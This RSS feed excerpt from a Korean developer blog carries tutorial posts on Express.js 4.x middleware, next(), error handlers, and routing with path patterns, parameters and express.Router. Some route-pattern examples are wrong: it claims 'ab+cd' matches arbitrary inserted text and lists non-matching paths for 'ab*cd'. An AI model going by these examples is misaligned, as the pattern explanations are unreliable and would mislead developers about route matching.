      <pubDate>Tue, 30 Dec 2025 06:58:36 GMT</pubDate>
      <description><![CDATA[<p>전 라우팅 글에서 라우팅 방식에 대해 서술한 바 있다.<br>이번엔 미들웨어에 대해 서술해보려 한다.</p>
<blockquote>
<p>아래 모든 설명은 Express 4.x 버전을 기준으로 함.<br>Express 5.x 버전에서는 많은 것이 달라졌음.</p>
</blockquote>
<h2>미들웨어</h2>
<blockquote>
<pre><code class="hljs language-pgsql">app.<span class="hljs-keyword">METHOD</span>(<span class="hljs-type">PATH</span>, <span class="hljs-keyword">HANDLER</span>)</code></pre>
</blockquote>
<pre><code class="hljs language-markdown"><span class="hljs-bullet">-</span> <span class="hljs-strong">**app**</span>는 <span class="hljs-strong">**express의 인스턴스**</span>이다.
<span class="hljs-bullet">-</span> <span class="hljs-strong">**METHOD**</span>는 <span class="hljs-strong">**소문자로 된 HTTP 요청 메서드**</span>이다.
<span class="hljs-bullet">-</span> <span class="hljs-strong">**PATH**</span>는 <span class="hljs-strong">**서버상의 경로**</span>이다.
<span class="hljs-bullet">-</span> <span class="hljs-strong">**HANDLER**</span>는 <span class="hljs-strong">**해당 경로가 일치할 때 실행되는 함수**</span>이다.
HANDLER에는 익명함수가 많이 들어가는데 이때, 요청 객체(관례적으로 <span class="hljs-code">`req`</span>), 응답 객체(관례적으로 <span class="hljs-code">`res`</span>) 인자를 받는다.
<span class="hljs-code">`req`</span>는 요청할 때, 들어오는 데이터 객체(Input)로써 사용된다.
<span class="hljs-code">`res`</span>는 반환할 때, 나가는 데이터 객체(Output)로써 사용된다.

HANDLER에 <span class="hljs-code">`req`</span>와 <span class="hljs-code">`res`</span> 인자를 받는다고 서술했었지만,
사실 인자 하나를 더 받는다. 이 글의 주제인 <span class="hljs-strong">**미들웨어와 깊은 관련이 있는 인자 `next`**</span>(관례적인 이름)이다.
Express 애플리케이션은 거대한 공장 컨베이어 벨트와 같다. <span class="hljs-strong">**요청(Request)**</span>이 들어오면 여러 직원을 거쳐서 <span class="hljs-strong">**최종 제품(Response)**</span>이 된다.

만약, 거대한 공장에서 일하는 기계가 자신이 맡은 일을 다 했으나 다음 기계한테 제품을 넘겨주지 않으면 어떻게 될까? <span class="hljs-strong">**공장은 멈출 것이다.**</span>

<span class="hljs-code">`next`</span>도 이와 같다.

아래와 같은 간단한 메인 코드가 있다고 해보자.</code></pre>
<p>const express = require(&#39;express&#39;)<br>const app = express()</p>
<p>app.get(&#39;/&#39;, (req, res) =&gt; {<br>  res.send(&#39;Hello World!&#39;)<br>})</p>
<p>app.listen(3000)</p>
<pre><code class="hljs language-arcade">또한, <span class="hljs-built_in">console</span>에 <span class="hljs-string">&quot;LOGGED&quot;</span> 문자열을 찍는 myLogger 미들웨어 함수가 있다고 해보자.</code></pre>
<p>const myLogger = function (req, res, next) {<br>  console.log(&#39;LOGGED&#39;)<br>  next()<br>}</p>
<pre><code class="hljs language-markdown">그렇다면 이런식으로 <span class="hljs-code">`app.use()`</span>를 통해 <span class="hljs-strong">**미들웨어**</span>를 <span class="hljs-strong">**설정**</span>할 수 있다.</code></pre>
<p>const express = require(&#39;express&#39;)<br>const app = express()</p>
<p>const myLogger = function (req, res, next) {<br>  console.log(&#39;LOGGED&#39;)<br>  next()<br>}</p>
<p>app.use(myLogger)</p>
<p>app.get(&#39;/&#39;, (req, res) =&gt; {<br>  res.send(&#39;Hello World!&#39;)<br>})</p>
<p>app.listen(3000)</p>
<pre><code class="hljs language-dns">사실 `app.use<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>` 말고도 **`app.get<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>`, `app.post<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>` 등으로도 미들웨어를 설정**할 수 있다. 이쯤되면 그런 의문이 들 것이다. &#x27;어? 그럼 `app.post<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>` 라우트 핸들러랑 미들웨어랑 차이점이 뭐지?&#x27; 다른게 없다. **모두 미들웨어가 될 수 있다.** 

결국 **핸들러와 미들웨어의 차이**는 **`response`를 설정해 응답하느냐, 안하느냐의 차이**이다. **반환한다면 핸들러**가 되는것이고, **반환하지 않고 `next<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>`로 넘긴다면 미들웨어**가 되는 것이다.

또한, 미들웨어를 설정하는 방법으로는 위 예시에서 보여준 `app.use<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>`외에도 몇가지가 더 있다.

&gt;- app =&gt; **전역 미들웨어**, 애플리케이션 전체에 영향을 미친다. `app.use<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>`가 호출된 시점 이후에 정의된 모든 라우터에 적용된다.
심지어 외부 파일에서 `require`로 불러온 **라우터 모듈이라 할지라도, `app.use<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>` 아래에 등록되었다면 해당 미들웨어의 영향**을 받는다.
- router =&gt; **지역 미들웨어**, 특정 라우터 모듈 내에서만 영향을 미친다. `router.use<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>` 이후에 정의된 라우터들에 적용되지만, **그 범위는 해당 라우터 파일 내부로 한정**된다. 다른 모듈<span class="hljs-punctuation">(</span>파일<span class="hljs-punctuation">)</span>에는 영향을 주지 않아 기능별 독립성을 유지하기 좋다.

&gt;`app`, `router` 두 객체 모두 동일한 인터페이스를 제공한다.
- .use<span class="hljs-punctuation">(</span>콜백함수<span class="hljs-punctuation">)</span> =&gt; `app` 또는 `router`에 규칙에 따라 메서드가 호출된 **이후 정의된 모든 라우터 실행 전에 실행**된다.
- .use<span class="hljs-punctuation">(</span>PATH, 콜백함수<span class="hljs-punctuation">)</span> =&gt; 만약, 인수가 추가된다면 메서드가 호출된 이**후 정의된 같은 경로인 모든 라우터 실행 전에 실행**된다.
- .METHOD<span class="hljs-punctuation">(</span>PATH, HANDLER, HANDLER, HANDLER...<span class="hljs-punctuation">)</span> =&gt; HANDLER를 여러개 삽입해 **특정 라우터에서만 미들웨어로 사용**할 수 있다.

## 주의 사항
미들웨어 내부에서 DB 조회나 외부 API 호출 같은 **비동기 작업**을 할 때는 반드시 `await`를 사용하여 작업이 끝난 후 **`next<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>`가 호출되도록 보장**해야 한다.
만약, `await`이 없다면 작업이 끝나기도 전에 다음 미들웨어로 넘어가 버려, 데이터가 없는 상태에서 **로직이 꼬일 수 있다.**

우리가 사용했던 `next<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>`는 단순히 **다음으로**만 의미하지 않는다. 괄호 안에 무엇을 넣느냐에 따라 Express의 흐름을 완전히 바꿀 수 있다.

&gt; - next<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>: 다음 일반 미들웨어/라우터 실행.
- next<span class="hljs-punctuation">(</span>&#x27;route&#x27;<span class="hljs-punctuation">)</span> 또는 next<span class="hljs-punctuation">(</span>&#x27;router&#x27;<span class="hljs-punctuation">)</span>: **현재 라우트나 라우터 전체를 건너뜀** <span class="hljs-punctuation">(</span>단, .METHOD<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span> 형태의 메서드에서만 사용 가능.
- next<span class="hljs-punctuation">(</span>anything<span class="hljs-punctuation">)</span>: 괄호 안에 **무언가<span class="hljs-punctuation">(</span>에러 객체나 메시지 등<span class="hljs-punctuation">)</span>**를 넣으면, Express는 즉시 현재 요청을 **에러 상태**로 간주한다.

아래는 `next<span class="hljs-punctuation">(</span>&#x27;route&#x27;<span class="hljs-punctuation">)</span>`를 이용해 예외처리를 한 라우터이다.</code></pre>
<p>app.get(&#39;/user/:id&#39;, (req, res, next) =&gt; {<br>  // 만약 user id가 0이라면 다음 라우트로 건너뜀<br>  if (req.params.id === &#39;0&#39;) next(&#39;route&#39;)<br>  // 그렇지 않다면, 이 스택 내의 다음 미들웨어 함수로 제어권을 넘김.<br>  else next()<br>}, (req, res, next) =&gt; {<br>  // &#39;regular&#39; 응답 전송<br>  res.send(&#39;regular&#39;)<br>})</p>
<p>// /user/:id 경로 핸들러지만, &#39;special&#39; 응답 전송.<br>app.get(&#39;/user/:id&#39;, (req, res, next) =&gt; {<br>  res.send(&#39;special&#39;)<br>})</p>
<pre><code class="hljs language-erlang">또한, 미들웨어를 배열 형태로도 사용 가능하다.
</code></pre>
<p>function logOriginalUrl (req, res, next) {<br>  console.log(&#39;Request URL:&#39;, req.originalUrl)<br>  next()<br>}</p>
<p>function logMethod (req, res, next) {<br>  console.log(&#39;Request Type:&#39;, req.method)<br>  next()<br>}</p>
<p>const logStuff = [logOriginalUrl, logMethod]<br>app.get(&#39;/user/:id&#39;, logStuff, (req, res, next) =&gt; {<br>  res.send(&#39;User Info&#39;)<br>})</p>
<pre><code class="hljs language-autohotkey">
## 오류처리 미들웨어
**오류처리 미들웨어는 항상 네개의 인자**를 받는다.
`err, req, res, next` req와 res, next의 기능은 알테지만
`err`(관례적인 이름)은 처음 보았을 터이다. `err`은 정말 말 그대로 에러가 났을 경우 받는 인자이다. `err.stack`을 통해 확인할 수 있다. 또한, 오류처리 미들웨어를 작성할 때에는 `next()`를 사용하지 않더라도 인자를 넣어놔야 오류처리 미들웨어로 인식한다.

아래는 오류처리 미들웨어의 예시이다.</code></pre>
<p>app.use((err, req, res, next) =&gt; {<br>  console.error(err.stack)<br>  res.status(500).send(&#39;Something broke!&#39;)<br>})</p>
<pre><code class="hljs language-erlang"># 마무리
축하합니다! Express.js 기초가 끝났습니다.
더욱 공부해보죠.</code></pre>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>express.js</category><category>js</category><category>node.js</category><category>백엔드</category>
    </item>
    <item>
      <title>[js] Express.js 라우팅</title>
      <link>https://njw.kro.kr/blog/posts/js-Express.js-%EB%9D%BC%EC%9A%B0%ED%8C%85/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/js-Express.js-%EB%9D%BC%EC%9A%B0%ED%8C%85/</guid>
      <pubDate>Mon, 29 Dec 2025 17:22:59 GMT</pubDate>
      <description><![CDATA[<h2>급행 배송(Routing) 🚂!!</h2>
<p><b>라우팅</b>이란 애플리케이션이 **특정 엔드포인트(URI 또는 경로)**에 대한 클라이언트 요청과 **특정 HTTP 요청 메서드(GET, POST 등)**에 어떻게 응답할지 결정하는 것을 말한다.</p>
<blockquote>
<p>아래 모든 설명은 Express 4.x 버전을 기준으로 함.<br>Express 5.x 버전에서는 많은 것이 달라졌음.</p>
</blockquote>
<h3>Express 라우팅</h3>
<p>애플리케이션은 지정된 경로(엔드포인트)와 HTTP 메서드에 대한 요청을 수신하고, 일치하는 요청을 감지하면 지정된 콜백 함수를 호출한다.</p>
<pre><code class="hljs language-pgsql">app.<span class="hljs-keyword">METHOD</span>(<span class="hljs-type">PATH</span>, <span class="hljs-keyword">HANDLER</span>)</code></pre>
<ul>
<li><b>app</b>는 <b>express의 인스턴스</b>이다.</li>
<li><b>METHOD</b>는 <b>소문자로 된 HTTP 요청 메서드</b>이다.</li>
<li><b>PATH</b>는 <b>서버상의 경로</b>이다.</li>
<li><b>HANDLER</b>는 <b>해당 경로가 일치할 때 실행되는 함수</b>이다.</li>
</ul>
<p>HANDLER에는 익명함수가 많이 들어가는데 이때, 요청 객체(관례적으로 <code>req</code>), 응답 객체(관례적으로 <code>res</code>) 인자를 받는다.<br><code>req</code>는 요청할 때, 들어오는 데이터 객체(Input)로써 사용된다.<br><code>res</code>는 반환할 때, 나가는 데이터 객체(Output)로써 사용된다.</p>
<p>다음은 <code>res</code> 객체 반환 방식이다.</p>
<blockquote>
</blockquote>
<p>res.download() =&gt; 다운로드할 파일을 선택하라는 메시지를 표시한다.<br>res.end() =&gt; 응답 프로세스를 종료한다.<br>res.json() =&gt; JSON 형식의 응답을 보낸다.<br>res.jsonp() =&gt; JSONP를 지원하는 JSON 응답을 전송한다.<br>res.redirect() =&gt; 요청을 리디렉션한다.<br>res.render() =&gt; 뷰 템플릿을 렌더링한다.<br>res.send() =&gt; 다양한 유형의 응답을 보낸다.<br>res.sendFile() =&gt; 파일을 옥텟 스트림으로 전송한다.<br>res.sendStatus() =&gt; 응답 상태 코드를 설정하고 해당 문자열 표현을 응답 본문으로 전송한다.</p>
<p>루트 경로(/), 애플리케이션의 홈페이지에서 GET 메서드를 통해 Hello World!를 출력하는 코드는 다음과 같다.</p>
<pre><code class="hljs language-dns">const express = require<span class="hljs-punctuation">(</span>&#x27;express&#x27;<span class="hljs-punctuation">)</span>
const app = express<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>

app.get<span class="hljs-punctuation">(</span>&#x27;/&#x27;, <span class="hljs-punctuation">(</span>req, res<span class="hljs-punctuation">)</span> =&gt; {
  res.send<span class="hljs-punctuation">(</span>&#x27;Hello World!&#x27;<span class="hljs-punctuation">)</span>
}<span class="hljs-punctuation">)</span></code></pre>
<p>루트 경로(/), 즉 애플리케이션의 홈페이지에 대한 POST 요청에 응답한다.</p>
<pre><code class="hljs language-dns">const express = require<span class="hljs-punctuation">(</span>&#x27;express&#x27;<span class="hljs-punctuation">)</span>
const app = express<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>

app.post<span class="hljs-punctuation">(</span>&#x27;/&#x27;, <span class="hljs-punctuation">(</span>req, res<span class="hljs-punctuation">)</span> =&gt; {
  res.send<span class="hljs-punctuation">(</span>&#x27;Got <span class="hljs-keyword">a</span> POST request&#x27;<span class="hljs-punctuation">)</span>
}<span class="hljs-punctuation">)</span></code></pre>
<p>해당 /user 경로에 대한 PUT 요청에 응답한다.</p>
<pre><code class="hljs language-dns">const express = require<span class="hljs-punctuation">(</span>&#x27;express&#x27;<span class="hljs-punctuation">)</span>
const app = express<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>

app.put<span class="hljs-punctuation">(</span>&#x27;/user&#x27;, <span class="hljs-punctuation">(</span>req, res<span class="hljs-punctuation">)</span> =&gt; {
  res.send<span class="hljs-punctuation">(</span>&#x27;Got <span class="hljs-keyword">a</span> PUT request at /user&#x27;<span class="hljs-punctuation">)</span>
}<span class="hljs-punctuation">)</span></code></pre>
<p>해당 /user 경로에 대한 DELETE 요청에 응답한다.</p>
<pre><code class="hljs language-dns">const express = require<span class="hljs-punctuation">(</span>&#x27;express&#x27;<span class="hljs-punctuation">)</span>
const app = express<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>

app.delete<span class="hljs-punctuation">(</span>&#x27;/user&#x27;, <span class="hljs-punctuation">(</span>req, res<span class="hljs-punctuation">)</span> =&gt; {
  res.send<span class="hljs-punctuation">(</span>&#x27;Got <span class="hljs-keyword">a</span> DELETE request at /user&#x27;<span class="hljs-punctuation">)</span>
}<span class="hljs-punctuation">)</span></code></pre>
<p><code>app.all()</code>은 모든 HTTP 요청 메소드에 대해 특정 경로에서 미들웨어 함수를 로드하는 특별한 라우팅 방식이다. HTTP 표준에 있는 8가지 메소드 외에도<br>약 39가지 이상의 <b>모든 HTTP 메서드를 인식</b>한다.</p>
<p>해당 /secret 경로에 대한 모든 HTTP 요청에 응답하고 다음 미들웨어를 호출한다.</p>
<pre><code class="hljs language-vim">app.<span class="hljs-keyword">all</span>(<span class="hljs-string">&#x27;/secret&#x27;</span>, (req, <span class="hljs-keyword">res</span>, <span class="hljs-keyword">next</span>) =&gt; {
  console.<span class="hljs-built_in">log</span>(<span class="hljs-string">&#x27;Accessing the secret section ...&#x27;</span>)
  <span class="hljs-keyword">next</span>() // pass control <span class="hljs-keyword">to</span> the <span class="hljs-keyword">next</span> handler
})</code></pre>
<h4>기본 라우터</h4>
<p>위에서 서술한 내용을 정리해보면 다음과 같다.</p>
<blockquote>
<p>/ =&gt; root 경로에 대한 요청 감지.</p>
</blockquote>
<blockquote>
<p>/(아무문자열) =&gt; (아무문자열)에 대한 요청 감지.<br>(예: /about, /random.text)</p>
</blockquote>
<h4>문자열 패턴</h4>
<p>Express.js에서는 <b>문자열 패턴을 기반으로 한 경로</b>를 지정할 수 있다.<br>아래에 각각의 고유 문자열 패턴이 서술되어 있다.<br>또한 <a href="https://www.npmjs.com/package/path-to-regexp" target="_blank" rel="noopener">여기</a>에서 모든 고유 문자열 패턴의 가능성을 확인할 수 있다.</p>
<blockquote>
<p>ab?cd =&gt; &quot;?&quot; 앞 문자가 있건, 없건 이와 관계없이 감지.<br>(예: /acd, /abcd)</p>
</blockquote>
<blockquote>
<p>ab+cd =&gt; &quot;+&quot;에 어떤 문자열이 들어가건 관계 없이 감지.<br>(예: /abcd, /abbbcd, /abxcd, /abRANDOMcd, /ab123cd</p>
</blockquote>
<blockquote>
<p>ab*cd =&gt; 와일드 카드. &quot;*&quot;을 기준으로 모든 하위 접근 요청을 감지.<br>(예: /abe, /ab/dd/ee/aw, /absdnanwidnwdnwid.html)</p>
</blockquote>
<blockquote>
<p>ab(cd)?e =&gt; &quot;(cd)&quot;를 통해 한 그룹으로 묶고 &quot;?&quot;를 통해 (cd)가 있건 없건 이와 관계없이 감지.<br>(예: /abe, /abcde)</p>
</blockquote>
<h4>정규 표현식</h4>
<p>Express.js에서는 또한 <b>정규 표현식을 기반으로 한 경로</b>를 설정할 수 있다.<br>아래에 몇가지 정규표현식 예시가 서술되어 있다.<br>자세한 가이드는 <a href="https://developer.mozilla.org/docs/Web/JavaScript/Guide/Regular_expressions" target="_blank" rel="noopener">여기</a>에서 확인 가능하다.</p>
<blockquote>
<p>/a/ =&gt; &quot;a&quot;라는 글자가 단 하나라도 포함된 모든 항목을 감지.<br>(예: /a, /dwasdwd, /dwa, /2a)</p>
</blockquote>
<blockquote>
<p>/.*fly$/ =&gt; 단어의 마지막이 &quot;fly&quot;로 끝나는 모든 항목을 감지.<br>(예: /butterfly, /dragonfly<br>하지만 /butterflyman, /dragonflyman등과는 불일치)</p>
</blockquote>
<h4>경로 매개변수</h4>
<p><b>경로 매개변수</b>는 URL에서 해당 위치에 지정된 값을 캡처하는 데 사용되는 <b>명명된 URL 세그먼트</b>이다. 캡처된 값은 req.params 객체에 채워지며, 경로에 지정된 경로 매개변수 이름이 각각의 키로 사용된다.</p>
<pre><code class="hljs language-awk">Route path: <span class="hljs-regexp">/users/</span>:userId<span class="hljs-regexp">/books/</span>:bookId
Request URL: http:<span class="hljs-regexp">//</span>localhost:<span class="hljs-number">3000</span><span class="hljs-regexp">/users/</span><span class="hljs-number">34</span><span class="hljs-regexp">/books/</span><span class="hljs-number">8989</span>
req.params: { <span class="hljs-string">&quot;userId&quot;</span>: <span class="hljs-string">&quot;34&quot;</span>, <span class="hljs-string">&quot;bookId&quot;</span>: <span class="hljs-string">&quot;8989&quot;</span> }</code></pre>
<p>아래는 경로 매개변수명을 설정하는 규칙이다.</p>
<blockquote>
<ol>
<li>경로 매개변수의 이름은 &quot;단어 문자&quot; <code>[A-Za-z0-9_]</code>로 구성되어야 한다.</li>
<li><code>--</code>과 <code>..</code>은 문자 그대로 해석되므로 경로 매개변수와 함께 유용하게 사용할 수 있다.</li>
<li>경로 매개변수로 들어오는 값을 더 세밀하게 제어하기 위해, <code>()</code> 안에 정규 표현식을 추가하여 필터링을 넣을 수 있다.</li>
</ol>
</blockquote>
<p>경로 매개변수를 사용하여 경로를 정의하려면 아래와 같이 경로에 경로 매개변수를 지정하기만 하면 된다. 이때, 매개변수명은 위에서 서술한 바와 같이 <code>[A-Za-z0-9_]</code>로 구성되어야만 한다.</p>
<pre><code class="hljs language-dns">app.get<span class="hljs-punctuation">(</span>&#x27;/users/:userId/books/:bookId&#x27;, <span class="hljs-punctuation">(</span>req, res<span class="hljs-punctuation">)</span> =&gt; {
  res.send<span class="hljs-punctuation">(</span>req.params<span class="hljs-punctuation">)</span>
}<span class="hljs-punctuation">)</span></code></pre>
<p>위에서 서술한 바와 같이 <code>--</code>과 <code>..</code>은 문자 그대로 해석되므로 경로 매개변수와 함께 유용하게 사용할 수 있다.</p>
<pre><code class="hljs language-nix">Route <span class="hljs-params">path:</span> <span class="hljs-operator">/</span>flights<span class="hljs-operator">/</span>:from-:to
Request <span class="hljs-params">URL:</span> http:<span class="hljs-operator">//</span>localhost:<span class="hljs-number">3000</span><span class="hljs-symbol">/flights/LAX-SFO</span>
req.<span class="hljs-params">params:</span> { <span class="hljs-string">&quot;from&quot;</span>: <span class="hljs-string">&quot;LAX&quot;</span>, <span class="hljs-string">&quot;to&quot;</span>: <span class="hljs-string">&quot;SFO&quot;</span> }</code></pre>
<pre><code class="hljs language-nix">Route <span class="hljs-params">path:</span> <span class="hljs-operator">/</span>plantae<span class="hljs-operator">/</span>:genus.:species
Request <span class="hljs-params">URL:</span> http:<span class="hljs-operator">//</span>localhost:<span class="hljs-number">3000</span><span class="hljs-symbol">/plantae/Prunus.persica</span>
req.<span class="hljs-params">params:</span> { <span class="hljs-string">&quot;genus&quot;</span>: <span class="hljs-string">&quot;Prunus&quot;</span>, <span class="hljs-string">&quot;species&quot;</span>: <span class="hljs-string">&quot;persica&quot;</span> }</code></pre>
<p>위에서 서술한 바와 같이 경로 매개변수를 조작하기 위해 <code>()</code>안에 정규 표현식을 적을 수 있다.</p>
<blockquote>
<p>정규 표현식은 일반적으로 리터럴 문자열의 일부이므로 모든 &quot;&quot; 문자를 <code>\</code>를 추가하여 이스케이프해야 한다. (예를 들어, <code>\\d+</code>)</p>
</blockquote>
<blockquote>
<p>Express 4.x에서는 정규 표현식의 문자 &quot;*&quot;이 문자열 패턴으로 등록되어 있어 일반적인 방식으로 해석되지 않는다. &quot;*&quot; 대신 {0,}를 사용하여 해결 가능하다.</p>
</blockquote>
<p>아래는 정규표현식 예시이다.</p>
<pre><code class="hljs language-dns">Route path: /user/:userId<span class="hljs-punctuation">(</span>\\d+<span class="hljs-punctuation">)</span><span class="hljs-punctuation">(</span>매개변수로 숫자만 올 수 있음<span class="hljs-punctuation">)</span>
Request URL: http://localhost:<span class="hljs-number">3000</span>/user/<span class="hljs-number">42</span>
req.params: {<span class="hljs-string">&quot;userId&quot;</span>: <span class="hljs-string">&quot;42&quot;</span>}
<span class="hljs-punctuation">(</span>잘못된 예시: req.params: {<span class="hljs-string">&quot;userId&quot;</span>: <span class="hljs-string">&quot;kim&quot;</span>}<span class="hljs-punctuation">)</span></code></pre>
<h4>모듈화</h4>
<p>지금은 코드가 무척 단순하다. 하지만 코드를 적으며 라우터를 공부할 때와는 다르게 실무에서는 <b>코드가 수천 줄</b>이 되기 때문에 <b>마구잡이로 코드를 작성할 순 없다.</b> 그렇기 때문에 <code>app.route()</code>를 통해 같은 경로지만 다른 메서드를 받는 라우터를 묶거나, <code>express.Router</code>를 통해 라우터를 모듈화한다.</p>
<h5>app.route()</h5>
<p>아래 코드는 <code>/book</code> 경로로 오는 GET, POST, PUT 요청을 한데 모아 묶어놓은 코드이다.</p>
<pre><code class="hljs language-dns">app.route<span class="hljs-punctuation">(</span>&#x27;/book&#x27;<span class="hljs-punctuation">)</span>
  .get<span class="hljs-punctuation">(</span><span class="hljs-punctuation">(</span>req, res<span class="hljs-punctuation">)</span> =&gt; {
    res.send<span class="hljs-punctuation">(</span>&#x27;Get <span class="hljs-keyword">a</span> random book&#x27;<span class="hljs-punctuation">)</span>
  }<span class="hljs-punctuation">)</span>
  .post<span class="hljs-punctuation">(</span><span class="hljs-punctuation">(</span>req, res<span class="hljs-punctuation">)</span> =&gt; {
    res.send<span class="hljs-punctuation">(</span>&#x27;Add <span class="hljs-keyword">a</span> book&#x27;<span class="hljs-punctuation">)</span>
  }<span class="hljs-punctuation">)</span>
  .put<span class="hljs-punctuation">(</span><span class="hljs-punctuation">(</span>req, res<span class="hljs-punctuation">)</span> =&gt; {
    res.send<span class="hljs-punctuation">(</span>&#x27;Update the book&#x27;<span class="hljs-punctuation">)</span>
  }<span class="hljs-punctuation">)</span></code></pre>
<h5>express.Router</h5>
<p><b>express.Router 클래스</b>를 사용하면 <b>모듈식의 마운트 가능한 경로 핸들러를 만들 수 있다.</b> Router 인스턴스는 그 자체로 완전한 미들웨어이자 라우팅 시스템이므로, 종종 미니 앱(mini-app)이라고도 불린다.</p>
<p>다음 예제는 라우터를 모듈로 생성하고, 그 안에 미들웨어 함수를 로드한 뒤 몇 가지 경로를 정의하고, 메인 앱의 특정 경로에 이 라우터 모듈을 마운트하는 방법을 보여준다.</p>
<p>먼저, 앱 디렉토리에 다음과 같은 내용으로 birds.js라는 이름의 라우터 파일을 생성한다.</p>
<p><b>bird.js</b></p>
<pre><code class="hljs language-dns">const express = require<span class="hljs-punctuation">(</span>&#x27;express&#x27;<span class="hljs-punctuation">)</span>
const router = express.Router<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>

// 이 라우터에서만 작동하는 전용 미들웨어
const timeLog = <span class="hljs-punctuation">(</span>req, res, next<span class="hljs-punctuation">)</span> =&gt; {
  console.log<span class="hljs-punctuation">(</span>&#x27;Time: &#x27;, Date.now<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span><span class="hljs-punctuation">)</span>
  next<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
}

router.use<span class="hljs-punctuation">(</span>timeLog<span class="hljs-punctuation">)</span>

// 홈 페이지 경로 정의
router.get<span class="hljs-punctuation">(</span>&#x27;/&#x27;, <span class="hljs-punctuation">(</span>req, res<span class="hljs-punctuation">)</span> =&gt; {
  res.send<span class="hljs-punctuation">(</span>&#x27;Birds home page&#x27;<span class="hljs-punctuation">)</span>
}<span class="hljs-punctuation">)</span>

// about 경로 정의
router.get<span class="hljs-punctuation">(</span>&#x27;/about&#x27;, <span class="hljs-punctuation">(</span>req, res<span class="hljs-punctuation">)</span> =&gt; {
  res.send<span class="hljs-punctuation">(</span>&#x27;About birds&#x27;<span class="hljs-punctuation">)</span>
}<span class="hljs-punctuation">)</span>

module.exports = router</code></pre>
<p>그 다음, 메인 앱에서 이 라우터 모듈을 불러온다.</p>
<p><b>mainApp.js</b></p>
<pre><code class="hljs language-dart"><span class="hljs-keyword">const</span> birds = <span class="hljs-title function_">require</span>(<span class="hljs-string">&#x27;./birds&#x27;</span>)

<span class="hljs-comment">// ...</span>

app.<span class="hljs-title function_">use</span>(<span class="hljs-string">&#x27;/birds&#x27;</span>, birds)</code></pre>
<p>이제 이 앱은 /birds 및 /birds/about에 대한 요청을 처리할 수 있으며, 해당 경로에 특화된 timeLog 미들웨어 함수를 호출할 수 있게 된다.</p>
<p>하지만, 모듈화를 진행할 때, 만약 부모 경로인 /birds에 경로 매개변수(path parameters)가 포함되어 있다면, 기본적으로 하위 라우터에서는 이에 접근할 수 없다.</p>
<p><b>mainApp.js</b></p>
<pre><code class="hljs language-dart">app.<span class="hljs-title function_">use</span>(<span class="hljs-string">&#x27;/posts/:postId/comments&#x27;</span>, commentRouter)</code></pre>
<p>이렇게 /comments의 상위 경로에 매개변수가 있다면,</p>
<pre><code class="hljs language-dns">const router = express.Router<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>

router.get<span class="hljs-punctuation">(</span>&#x27;/:commentId&#x27;, <span class="hljs-punctuation">(</span>req, res<span class="hljs-punctuation">)</span> =&gt; {
  console.log<span class="hljs-punctuation">(</span>req.params.postId<span class="hljs-punctuation">)</span>    // undefined <span class="hljs-punctuation">(</span>부모의 변수를 못 읽음<span class="hljs-punctuation">)</span>
  console.log<span class="hljs-punctuation">(</span>req.params.commentId<span class="hljs-punctuation">)</span> // <span class="hljs-string">&quot;456&quot;</span> <span class="hljs-punctuation">(</span>자기 변수는 잘 읽음<span class="hljs-punctuation">)</span>
  res.send<span class="hljs-punctuation">(</span>&#x27;댓글 확인&#x27;<span class="hljs-punctuation">)</span>
}<span class="hljs-punctuation">)</span><span class="hljs-comment">;</span>

module.exports = router</code></pre>
<p>자기 자신에게 오는 매개변수는 잘 읽지만 상위 경로의 매개변수를 인식하지 못하는 것을 알 수 있다.</p>
<p>이를 해결하기 위해 라우터 생성 시 mergeParams 옵션을 전달하면 변수가 병합되어 하위 라우터에서도 접근이 가능하게 할 수 있다.</p>
<pre><code class="hljs language-dart"><span class="hljs-keyword">const</span> router = express.<span class="hljs-title class_">Router</span>({ mergeParams: <span class="hljs-keyword">true</span> })</code></pre>
<pre><code class="hljs language-dns">// ✅ mergeParams: true 를 설정한 경우
const router = express.Router<span class="hljs-punctuation">(</span>{ mergeParams: true }<span class="hljs-punctuation">)</span><span class="hljs-comment">;</span>

router.get<span class="hljs-punctuation">(</span>&#x27;/:commentId&#x27;, <span class="hljs-punctuation">(</span>req, res<span class="hljs-punctuation">)</span> =&gt; {
  console.log<span class="hljs-punctuation">(</span>req.params.postId<span class="hljs-punctuation">)</span>    // <span class="hljs-string">&quot;123&quot;</span> <span class="hljs-punctuation">(</span>부모가 받은 값을 공유받음!<span class="hljs-punctuation">)</span>
  console.log<span class="hljs-punctuation">(</span>req.params.commentId<span class="hljs-punctuation">)</span> // <span class="hljs-string">&quot;456&quot;</span>
  res.send<span class="hljs-punctuation">(</span>`${req.params.postId}번 게시글의 ${req.params.commentId}번 댓글입니다.`<span class="hljs-punctuation">)</span>
}<span class="hljs-punctuation">)</span>

module.exports = router</code></pre>
<h2>마무리</h2>
<p>몇가지 주의사항을 적자면, 기본적으로 Express는 위에서부터 아래로 경로를 찾는다.<br>/* 같은 광범위한 경로는 항상 맨 아래에 두어야 다른 구체적인 경로들이 무시되지 않는다. 항상 하위 경로부터 작성하는 것을 잊지말자.</p>
<p>또한, req.params를 console.log로 찍어보는 습관을 들이면, 내가 짠 패턴이 문자열을 어떻게 쪼개서 가져오는지 바로 확인할 수 있다.</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>express.js</category><category>js</category><category>node.js</category><category>백엔드</category>
    </item>
    <item>
      <title>[js] Node.js / Express.js 소개 및 설치</title>
